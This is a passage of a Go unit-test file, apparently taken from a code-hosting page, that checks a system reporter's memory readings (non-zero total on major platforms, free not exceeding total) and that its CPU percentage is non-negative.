free := r.FreeMemoryMB()
|
||||
if runtime.GOOS == "windows" || runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
|
||||
if total == 0 {
|
||||
t.Fatal("expected non-zero total memory on supported platform")
|
||||
}
|
||||
}
|
||||
if free > total && total > 0 {
|
||||
t.Fatalf("free %d > total %d", free, total)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReporterSystemCPUPercentNonNegative(t *testing.T) {
|
||||
r := NewReporter()
|
||||
if pct := r.SystemCPUPercent(); pct < 0 {
|
||||
t.Fatalf("negative cpu percent: %v", pct)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user